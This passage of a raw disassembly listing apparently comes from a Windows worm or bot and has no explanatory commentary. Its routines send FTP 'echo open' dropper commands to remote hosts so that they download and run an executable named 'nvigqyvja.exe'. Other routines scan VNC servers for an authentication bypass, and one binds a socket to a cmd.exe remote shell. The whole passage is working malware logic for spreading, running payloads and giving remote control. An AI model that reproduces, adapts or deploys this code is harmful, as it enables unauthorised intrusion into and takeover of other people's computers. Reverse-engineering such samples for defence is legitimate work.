XREF: sub_40D99C+3D7j inc eax test al, 3 jnz short loc_40DD70 mov [ebp+arg_4], eax loc_40DD78: ; CODE XREF: sub_40D99C+3D2j lea ecx, [ebp+var_30] push 1Ch ; Size add eax, esi push ecx ; Src push eax ; Dst call _memcpy add [ebp+arg_4], 1Ch push edi call sub_41B0B1 push 18h ; Size lea eax, [ebp+var_48] push ebx ; Val push eax ; Dst call _memset push 14h ; Size lea eax, [ebp+var_5C] push ebx ; Val push eax ; Dst mov [ebp+var_48], 5 mov [ebp+var_47], bl mov [ebp+var_46], bl mov [ebp+var_45], 3 mov [ebp+var_44], 10h mov [ebp+var_3E], bx mov [ebp+var_3C], ebx mov [ebp+var_34], bx mov [ebp+var_32], 1Fh call _memset add esp, 28h push ebx push ebx push 1 push ebx call ds:dword_4270E4 ; CreateEventA mov [ebp+var_4C], eax mov byte ptr [ebp+Size+3], bl mov dword ptr [ebp+var_10+4], ebx loc_40DDE5: ; CODE XREF: sub_40D99C+4D3j cmp dword ptr [ebp+var_10+4], 2 jge loc_40DE7A push 1 ; char push 10B8h ; int push [ebp+arg_4] ; int inc dword ptr [ebp+var_10+4] push esi ; Src lea esi, [ebp+var_48] sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+var_4] ; int rep movsd call sub_40D8AE add esp, 2Ch test al, al jz short loc_40DE77 cmp [ebp+var_4C], ebx jz short loc_40DE69 lea eax, [ebp+var_5C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_60DC] push 2000h push eax push [ebp+var_4] call ds:dword_4270E8 ; ReadFile test eax, eax jnz short loc_40DE50 call ds:dword_42708C ; RtlGetLastWin32Error cmp eax, 3E5h jnz loc_40DA51 loc_40DE50: ; CODE XREF: sub_40D99C+4A1j push 3E8h push [ebp+var_4C] call ds:dword_4270A0 ; WaitForSingleObject cmp eax, 102h jnz short loc_40DE69 mov byte ptr [ebp+Size+3], 1 loc_40DE69: ; CODE XREF: sub_40D99C+480j ; sub_40D99C+4C7j cmp byte ptr [ebp+Size+3], bl mov esi, [ebp+var_8] jz loc_40DDE5 jmp short loc_40DE7A ; --------------------------------------------------------------------------- loc_40DE77: ; CODE XREF: sub_40D99C+47Bj mov esi, [ebp+var_8] loc_40DE7A: ; CODE XREF: sub_40D99C+44Dj ; sub_40D99C+4D9j push [ebp+var_4] mov edi, ds:dword_427068 call edi ; CloseHandle push esi call sub_41B0B1 cmp [ebp+var_4C], ebx pop ecx jz short loc_40DE96 push [ebp+var_4C] call edi ; CloseHandle loc_40DE96: ; CODE XREF: sub_40D99C+4F3j cmp byte ptr [ebp+Size+3], bl setnz al loc_40DE9C: ; CODE XREF: sub_40D99C+B7j pop edi pop esi pop ebx leave retn sub_40D99C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DEA1 proc near ; CODE XREF: .text:0040DFB8p var_5A0 = byte ptr -5A0h Str = byte ptr -1A0h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+Dst], 2 push eax call ds:dword_42720C ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call ds:dword_427210 ; htons push esi push 1 push 2 mov [ebp+var_E], ax call ds:dword_427220 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40DF6F lea eax, [ebp+Dst] push 10h push eax push ebx call ds:dword_427214 ; connect cmp eax, 0FFFFFFFFh jz short loc_40DF6F mov edi, 400h push esi mov esi, ds:dword_427218 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset Str ; "nvigqyvja.exe" push eax push eax push dword_4CB390 push [ebp+arg_0] call sub_40AC10 pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+Str] push 190h ; Count push eax ; Dest call __snprintf add esp, 1Ch lea eax, [ebp+Str] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push ebx call ds:dword_427224 ; send cmp eax, 0FFFFFFFFh jnz short loc_40DF73 loc_40DF6F: ; CODE XREF: sub_40DEA1+50j ; sub_40DEA1+62j xor eax, eax jmp short loc_40DF8A ; --------------------------------------------------------------------------- loc_40DF73: ; CODE XREF: sub_40DEA1+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call ds:dword_42721C ; closesocket push 1 pop eax loc_40DF8A: ; CODE XREF: sub_40DEA1+D0j pop edi pop esi pop ebx leave retn sub_40DEA1 endp ; --------------------------------------------------------------------------- push ebx push esi push edi xor ebx, ebx loc_40DF94: ; CODE XREF: .text:0040DFDAj lea eax, [esp+14h] push ebx push eax call sub_40D99C pop ecx test al, al pop ecx jz short loc_40DFC7 push 65h lea esi, [esp+14h] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DEA1 add esp, 0C0h test eax, eax jnz short loc_40DFDC loc_40DFC7: ; CODE XREF: .text:0040DFA3j test ebx, ebx jnz short loc_40DFD6 push 7D0h call ds:dword_427078 ; Sleep loc_40DFD6: ; CODE XREF: .text:0040DFC9j inc ebx cmp ebx, 2 jb short loc_40DF94 loc_40DFDC: ; CODE XREF: .text:0040DFC5j push 1 pop eax pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DFE3 proc near ; CODE XREF: sub_40E0D1+91p var_5A0 = byte ptr -5A0h Dest = byte ptr -1A0h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+Dst], 2 push eax call ds:dword_42720C ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call ds:dword_427210 ; htons push esi push 1 push 2 mov [ebp+var_E], ax call ds:dword_427220 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40E0B1 lea eax, [ebp+Dst] push 10h push eax push ebx call ds:dword_427214 ; connect cmp eax, 0FFFFFFFFh jz short loc_40E0B1 mov edi, 400h push esi mov esi, ds:dword_427218 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset Str ; "nvigqyvja.exe" push eax push eax push dword_4CB390 push [ebp+arg_0] call sub_40AC10 pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+Dest] push 190h ; Count push eax ; Dest call __snprintf add esp, 1Ch lea eax, [ebp+Dest] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push ebx call ds:dword_427224 ; send cmp eax, 0FFFFFFFFh jnz short loc_40E0B5 loc_40E0B1: ; CODE XREF: sub_40DFE3+50j ; sub_40DFE3+62j xor eax, eax jmp short loc_40E0CC ; --------------------------------------------------------------------------- loc_40E0B5: ; CODE XREF: sub_40DFE3+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call ds:dword_42721C ; closesocket push 1 pop eax loc_40E0CC: ; CODE XREF: sub_40DFE3+D0j pop edi pop esi pop ebx leave retn sub_40DFE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E0D1 proc near ; CODE XREF: sub_40C125+1EAp ; DATA XREF: .data:off_431B04o var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CB694 ; inet_addr push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CB654 ; htons push 6 push 1 push 2 mov [ebp+var_E], ax call ds:dword_427220 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40E143 lea eax, [ebp+var_10] push 10h push eax push esi call ds:dword_427214 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40E124 push esi jmp short loc_40E13D ; --------------------------------------------------------------------------- loc_40E124: ; CODE XREF: sub_40E0D1+4Ej push 0 push 1213h push offset dword_4329BC push esi call ds:dword_427224 ; send cmp eax, 0FFFFFFFFh push esi jnz short loc_40E147 loc_40E13D: ; CODE XREF: sub_40E0D1+51j call ds:dword_42721C ; closesocket loc_40E143: ; CODE XREF: sub_40E0D1+3Cj xor eax, eax jmp short loc_40E189 ; --------------------------------------------------------------------------- loc_40E147: ; CODE XREF: sub_40E0D1+6Aj call ds:dword_42721C ; closesocket push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DFE3 add esp, 0C0h test eax, eax jz short loc_40E186 mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431B08[eax] lea eax, dword_431B08[eax] loc_40E186: ; CODE XREF: sub_40E0D1+9Ej push 1 pop eax loc_40E189: ; CODE XREF: sub_40E0D1+74j pop edi pop esi leave retn sub_40E0D1 endp ; =============== S U B R O U T I N E ======================================= sub_40E18D proc near ; CODE XREF: .text:0040E27Bp ; .text:0040E2DDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40E195: ; CODE XREF: sub_40E18D+2Dj test edi, edi jle short loc_40E1C0 mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CB66C ; recv test eax, eax jz short loc_40E1BC cmp eax, 0FFFFFFFFh jz short loc_40E1BC sub edi, eax add esi, eax jmp short loc_40E195 ; --------------------------------------------------------------------------- loc_40E1BC: ; CODE XREF: sub_40E18D+22j ; sub_40E18D+27j xor eax, eax jmp short loc_40E1C3 ; --------------------------------------------------------------------------- loc_40E1C0: ; CODE XREF: sub_40E18D+Aj push 1 pop eax loc_40E1C3: ; CODE XREF: sub_40E18D+31j pop edi pop esi retn sub_40E18D endp ; =============== S U B R O U T I N E ======================================= sub_40E1C6 proc near ; CODE XREF: .text:0040E2C7p ; .text:0040E2F4p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40E203 xor esi, esi test edi, edi jle short loc_40E1FD loc_40E1D6: ; CODE XREF: sub_40E1C6+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CB6A4 ; send cmp eax, 0FFFFFFFFh jz short loc_40E203 test eax, eax jz short loc_40E203 add esi, eax cmp esi, edi jl short loc_40E1D6 loc_40E1FD: ; CODE XREF: sub_40E1C6+Ej push 1 pop eax loc_40E200: ; CODE XREF: sub_40E1C6+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40E203: ; CODE XREF: sub_40E1C6+8j ; sub_40E1C6+2Bj ... xor eax, eax jmp short loc_40E200 sub_40E1C6 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_433C00 push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CB6D4 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40E235 push eax jmp short loc_40E269 ; --------------------------------------------------------------------------- loc_40E235: ; CODE XREF: .text:0040E230j lea eax, [ebp+0Ch] push eax call dword_4CB694 ; inet_addr push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CB654 ; htons mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CB5FC ; connect cmp eax, 0FFFFFFFFh jnz short loc_40E274 push ebx loc_40E269: ; CODE XREF: .text:0040E233j call dword_4CB6EC ; closesocket jmp loc_40E46F ; --------------------------------------------------------------------------- loc_40E274: ; CODE XREF: .text:0040E266j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E18D add esp, 0Ch test eax, eax jz loc_40E468 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call _sscanf add esp, 10h cmp eax, esi jnz loc_40E468 cmp dword ptr [ebp-28h], 3 jz short loc_40E2C0 cmp dword ptr [ebp-20h], 8 jnz loc_40E468 loc_40E2C0: ; CODE XREF: .text:0040E2B4j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E1C6 add esp, 0Ch test eax, eax jz loc_40E468 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40E18D add esp, 0Ch test eax, eax jz loc_40E468 lea eax, [ebp-2] push 1 push eax push ebx call sub_40E1C6 add esp, 0Ch test eax, eax jz loc_40E468 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40E18D add esp, 0Ch test eax, eax jz loc_40E468 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40E468 push 1 push offset byte_4CB50C push ebx call sub_40E1C6 add esp, 0Ch test eax, eax jz loc_40E468 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40E18D add esp, 0Ch test eax, eax jz loc_40E468 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call ??2@YAPAXI@Z ; operator new(uint) mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40E3F8 push edi push esi push ebx call sub_40E18D add esp, 0Ch loc_40E3F8: ; CODE XREF: .text:0040E3EBj and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call __snprintf push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409A73 lea eax, [ebp-24Ch] push eax call sub_4151AD mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431B08[eax] push ebx lea eax, dword_431B08[eax] call ds:dword_42721C ; closesocket push 1 pop eax jmp short loc_40E471 ; --------------------------------------------------------------------------- loc_40E468: ; CODE XREF: .text:0040E285j ; .text:0040E2AAj ... push ebx call ds:dword_42721C ; closesocket loc_40E46F: ; CODE XREF: .text:0040E26Fj xor eax, eax loc_40E471: ; CODE XREF: .text:0040E466j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40E476 proc near ; DATA XREF: sub_40E504+15Bo var_404 = byte ptr -404h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 404h loc_40E47F: ; CODE XREF: sub_40E476+25j ; sub_40E476+41j push 0 lea eax, [ebp+var_404] push 400h push eax push dword_4CE394 call dword_4CB66C ; recv test eax, eax jle short loc_40E47F lea ecx, [ebp+var_4] push 0 push ecx push eax lea eax, [ebp+var_404] push eax push dword_4CE390 call ds:dword_4270E0 ; WriteFile jmp short loc_40E47F sub_40E476 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40E4B9 proc near ; DATA XREF: sub_40E504+142o var_404 = byte ptr -404h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 404h loc_40E4C2: ; CODE XREF: sub_40E4B9+2Fj ; sub_40E4B9+49j lea eax, [ebp+var_4] and [ebp+var_4], 0 push 0 push eax lea eax, [ebp+var_404] push 400h push eax push dword_4CE384 call ds:dword_4270E8 ; ReadFile cmp [ebp+var_4], 0 jle short loc_40E4C2 push 0 lea eax, [ebp+var_404] push [ebp+var_4] push eax push dword_4CE394 call dword_4CB6A4 ; send jmp short loc_40E4C2 sub_40E4B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40E504 proc near ; DATA XREF: sub_401ACD+2D0Eo var_11C = byte ptr -11Ch var_98 = dword ptr -98h var_7C = dword ptr -7Ch var_50 = dword ptr -50h var_4C = word ptr -4Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch Dst = word ptr -38h var_36 = word ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 28h mov esi, eax pop ecx lea edi, [ebp+var_11C] rep movsd push 1 xor edi, edi pop esi mov [eax+98h], esi push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_98] call dword_4CB654 ; htons push 6 push esi push 2 mov [ebp+var_36], ax call dword_4CB6D4 ; socket mov [ebp+arg_0], eax lea eax, [ebp+Dst] push 10h push eax push [ebp+arg_0] call dword_4CB680 ; bind push 5 push [ebp+arg_0] call dword_4CB67C ; listen mov ebx, ds:dword_4270FC mov esi, ds:dword_427068 loc_40E584: ; CODE XREF: sub_40E504+1CBj push edi push edi push [ebp+arg_0] call dword_4CB6E8 ; accept mov dword_4CE394, eax lea eax, [ebp+var_C] push edi push eax push offset dword_4CE390 push offset dword_4CE38C mov [ebp+var_C], 0Ch mov [ebp+var_4], 1 mov [ebp+var_8], edi call ebx ; CreatePipe lea eax, [ebp+var_C] push edi push eax push offset dword_4CE388 push offset dword_4CE384 call ebx ; CreatePipe push 44h ; Size lea eax, [ebp+var_7C] push edi ; Val push eax ; Dst call _memset mov eax, dword_4CE38C add esp, 0Ch mov [ebp+var_44], eax mov eax, dword_4CE388 mov [ebp+var_40], eax push edi push 1 lea eax, [ebp+var_3C] push 2 push eax mov [ebp+var_7C], 44h mov [ebp+var_50], 101h mov [ebp+var_4C], di call ds:dword_4270F8 ; GetCurrentProcess push eax push dword_4CE388 call ds:dword_4270F8 ; GetCurrentProcess push eax call ds:dword_4270F4 ; DuplicateHandle lea eax, [ebp+var_28] push eax lea eax, [ebp+var_7C] push eax push edi push edi push 4000090h lea eax, [ebp+var_C] push 1 push eax lea eax, [ebp+var_C] push eax push offset aCmd_exe ; "cmd.exe" push edi call ds:dword_42706C ; CreateProcessA lea eax, [ebp+var_18] push eax push edi push edi push offset sub_40E4B9 lea eax, [ebp+var_C] push edi push eax call ds:dword_42707C ; CreateThread mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push edi push edi push offset sub_40E476 lea eax, [ebp+var_C] push edi push eax call ds:dword_42707C ; CreateThread push 0FFFFFFFFh mov [ebp+var_10], eax push [ebp+var_28] call ds:dword_4270A0 ; WaitForSingleObject push edi push [ebp+var_10] call ds:dword_4270AC ; TerminateThread push edi push [ebp+var_14] call ds:dword_4270AC ; TerminateThread push [ebp+var_10] call esi ; CloseHandle push [ebp+var_14] call esi ; CloseHandle push edi push [ebp+var_28] call ds:dword_4270F0 ; TerminateProcess push dword_4CE38C call esi ; CloseHandle push dword_4CE390 call esi ; CloseHandle push dword_4CE384 call esi ; CloseHandle push dword_4CE388 call esi ; CloseHandle push [ebp+var_24] call esi ; CloseHandle push [ebp+var_28] call esi ; CloseHandle jmp loc_40E584 sub_40E504 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40E6D4 proc near ; DATA XREF: .data:00429010o jmp $+5 sub_40E6D4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40E6D9 proc near push 0FFFEh push 400h call sub_418685 pop ecx mov dword_4CE39C, eax pop ecx retn sub_40E6D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E6F0 proc near ; DATA XREF: sub_40BACE+34Do Dest = byte ptr -6C0h var_2C0 = dword ptr -2C0h var_C0 = byte ptr -0C0h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A4 = dword ptr -0A4h Str = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch Dst = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 6C0h mov eax, [ebp+arg_0] push ebx push esi push edi push 27h mov esi, eax pop ecx lea edi, [ebp+var_B0] rep movsd push 1 xor ebx, ebx pop esi mov [eax+98h], esi push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_A4] call dword_4CB654 ; htons push ebx push esi push 2 mov [ebp+var_12], ax mov [ebp+var_10], ebx call dword_4CB6D4 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jnz short loc_40E797 cmp [ebp+var_1C], ebx jnz short loc_40E777 push ebx ; int lea eax, [ebp+var_2C0] push [ebp+var_20] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_B0] ; int call sub_409A73 add esp, 14h loc_40E777: ; CODE XREF: sub_40E6F0+65j lea eax, [ebp+var_2C0] push eax call sub_4151AD push [ebp+var_AC] call sub_40B413 pop ecx pop ecx push ebx call ds:dword_4270CC ; ExitThread loc_40E797: ; CODE XREF: sub_40E6F0+60j mov eax, [ebp+var_AC] push 10h imul eax, 234h mov dword_43E59C[eax], edi lea eax, [ebp+Dst] push eax push edi call dword_4CB680 ; bind cmp eax, esi mov ebx, 400h jnz loc_40E892 call dword_4CB5E8 ; WSAGetLastError cmp eax, 2740h jz short loc_40E817 xor esi, esi cmp [ebp+var_1C], esi jnz short loc_40E7F7 push esi ; int lea eax, [ebp+var_2C0] push [ebp+var_20] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_B0] ; int call sub_409A73 add esp, 14h loc_40E7F7: ; CODE XREF: sub_40E6F0+E5j lea eax, [ebp+var_2C0] push eax call sub_4151AD push [ebp+var_AC] call sub_40B413 pop ecx pop ecx push esi call ds:dword_4270CC ; ExitThread loc_40E817: ; CODE XREF: sub_40E6F0+DEj push 0FFFEh push ebx call sub_418685 pop ecx mov dword_4CE39C, eax pop ecx mov [ebp+var_12], ax lea eax, [ebp+Dst] push 10h push eax push edi call dword_4CB680 ; bind cmp eax, esi jnz short loc_40E892 call dword_4CB5E8 ; WSAGetLastError xor esi, esi cmp [ebp+var_1C], esi jnz short loc_40E872 cmp eax, 2740h jz short loc_40E872 push esi ; int lea eax, [ebp+var_2C0] push [ebp+var_20] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_B0] ; int call sub_409A73 add esp, 14h loc_40E872: ; CODE XREF: sub_40E6F0+159j ; sub_40E6F0+160j lea eax, [ebp+var_2C0] push eax call sub_4151AD push [ebp+var_AC] call sub_40B413 pop ecx pop ecx push esi call ds:dword_4270CC ; ExitThread loc_40E892: ; CODE XREF: sub_40E6F0+CDj ; sub_40E6F0+14Cj push 5 push edi call dword_4CB67C ; listen cmp eax, esi jz loc_40E977 mov [ebp+var_4], 10h mov esi, offset Str ; "nvigqyvja.exe" loc_40E8AF: ; CODE XREF: sub_40E6F0+1D7j ; sub_40E6F0+227j ... lea eax, [ebp+var_4] push eax lea eax, [ebp+var_C0] push eax push edi call dword_4CB6E8 ; accept cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_40E8AF cmp [ebp+var_1C], 0 jnz short loc_40E8F0 push 0 ; int lea eax, [ebp+var_2C0] push [ebp+var_20] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_B0] ; int call sub_409A73 add esp, 14h loc_40E8F0: ; CODE XREF: sub_40E6F0+1DDj lea eax, [ebp+var_2C0] push eax call sub_4151AD pop ecx lea eax, [ebp+var_2C0] push 0 push 200h push eax push [ebp+arg_0] call dword_4CB66C ; recv cmp eax, 0FFFFFFFFh jz short loc_40E8AF push esi push esi push dword_4CB390 push [ebp+var_B0] call sub_40AC10 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"... lea eax, [ebp+Dest] push ebx ; Count push eax ; Dest call __snprintf add esp, 1Ch lea eax, [ebp+Dest] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push [ebp+arg_0] call dword_4CB6A4 ; send cmp eax, 0FFFFFFFFh jz loc_40E8AF inc dword_4CE3A4 jmp loc_40E8AF ; --------------------------------------------------------------------------- loc_40E977: ; CODE XREF: sub_40E6F0+1ADj push edi call dword_4CB6EC ; closesocket push [ebp+var_AC] call sub_40B413 pop ecx push 0 call ds:dword_4270CC ; ExitThread sub_40E6F0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E992 proc near ; DATA XREF: sub_40BACE+22Ao var_A70 = byte ptr -0A70h var_8E0 = dword ptr -8E0h var_6E0 = dword ptr -6E0h var_4C8 = byte ptr -4C8h var_448 = dword ptr -448h var_444 = dword ptr -444h var_43C = dword ptr -43Ch var_338 = byte ptr -338h var_2D4 = byte ptr -2D4h Dst = byte ptr -2A0h var_23C = byte ptr -23Ch var_22C = dword ptr -22Ch var_228 = dword ptr -228h Str = byte ptr -128h Dest = byte ptr -0FCh var_C8 = byte ptr -0C8h Str1 = byte ptr -0B0h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_3C = byte ptr -3Ch var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A70h mov eax, [ebp+arg_0] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6E0] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A70] xor esi, esi push eax push 101h mov [ebp+var_1C], ebx mov [ebp+var_2C], ebx mov [ebp+var_24], ebx mov [ebp+var_22C], esi mov [ebp+var_43C], esi call ds:dword_4271F0 ; WSAStartup push esi push ebx push 2 call ds:dword_427220 ; socket mov esi, ds:dword_4271F4 lea ecx, [ebp+var_1C] push 4 push ecx mov edi, 0FFFFh push 4 push edi push eax mov [ebp+var_8], eax call esi ; setsockopt lea eax, [ebp+var_2C] push 4 push eax push 0FFFFFFFBh push edi mov edi, [ebp+var_8] push edi call esi ; setsockopt lea eax, [ebp+var_24] push eax push 8004667Eh push edi call ds:dword_4271F8 ; ioctlsocket mov ax, word ptr dword_4CB390 and [ebp+var_48], 0 push eax mov [ebp+var_4C], 2 call dword_4CB654 ; htons mov [ebp+var_4A], ax lea eax, [ebp+var_4C] push 10h push eax push edi call ds:dword_4271FC ; bind test eax, eax jge short loc_40EA58 mov eax, ebx jmp loc_40EFB8 ; --------------------------------------------------------------------------- loc_40EA58: ; CODE XREF: sub_40E992+BDj push 0Ah push edi call ds:dword_427200 ; listen mov [ebp+var_22C], ebx mov ebx, ds:dword_427224 mov [ebp+var_228], edi mov [ebp+var_4], edi loc_40EA76: ; CODE XREF: sub_40E992+11Dj ; sub_40E992+61Ej push 41h lea esi, [ebp+var_22C] pop ecx lea edi, [ebp+var_43C] rep movsd xor esi, esi lea eax, [ebp+var_43C] push esi push esi push esi push eax mov eax, [ebp+var_4] inc eax push eax call ds:dword_427228 ; select cmp eax, 0FFFFFFFFh jz loc_40EFB5 xor edi, edi cmp [ebp+var_4], esi mov [ebp+arg_0], edi jl short loc_40EA76 loc_40EAB1: ; CODE XREF: sub_40E992+618j xor esi, esi push 64h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset push 64h ; Size lea eax, [ebp+Str1] push esi ; Val push eax ; Dst call _memset add esp, 18h lea eax, [ebp+var_43C] push eax push edi call sub_426756 ; __WSAFDIsSet test eax, eax jz loc_40EFA3 cmp edi, [ebp+var_8] jnz short loc_40EB68 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_23C] push eax push [ebp+var_8] call ds:dword_427204 ; accept cmp eax, 0FFFFFFFFh jz loc_40EFA3 xor ecx, ecx cmp [ebp+var_22C], esi jbe short loc_40EB32 lea edx, [ebp+var_228] loc_40EB22: ; CODE XREF: sub_40E992+19Ej cmp [edx], eax jz short loc_40EB32 inc ecx add edx, 4 cmp ecx, [ebp+var_22C] jb short loc_40EB22 loc_40EB32: ; CODE 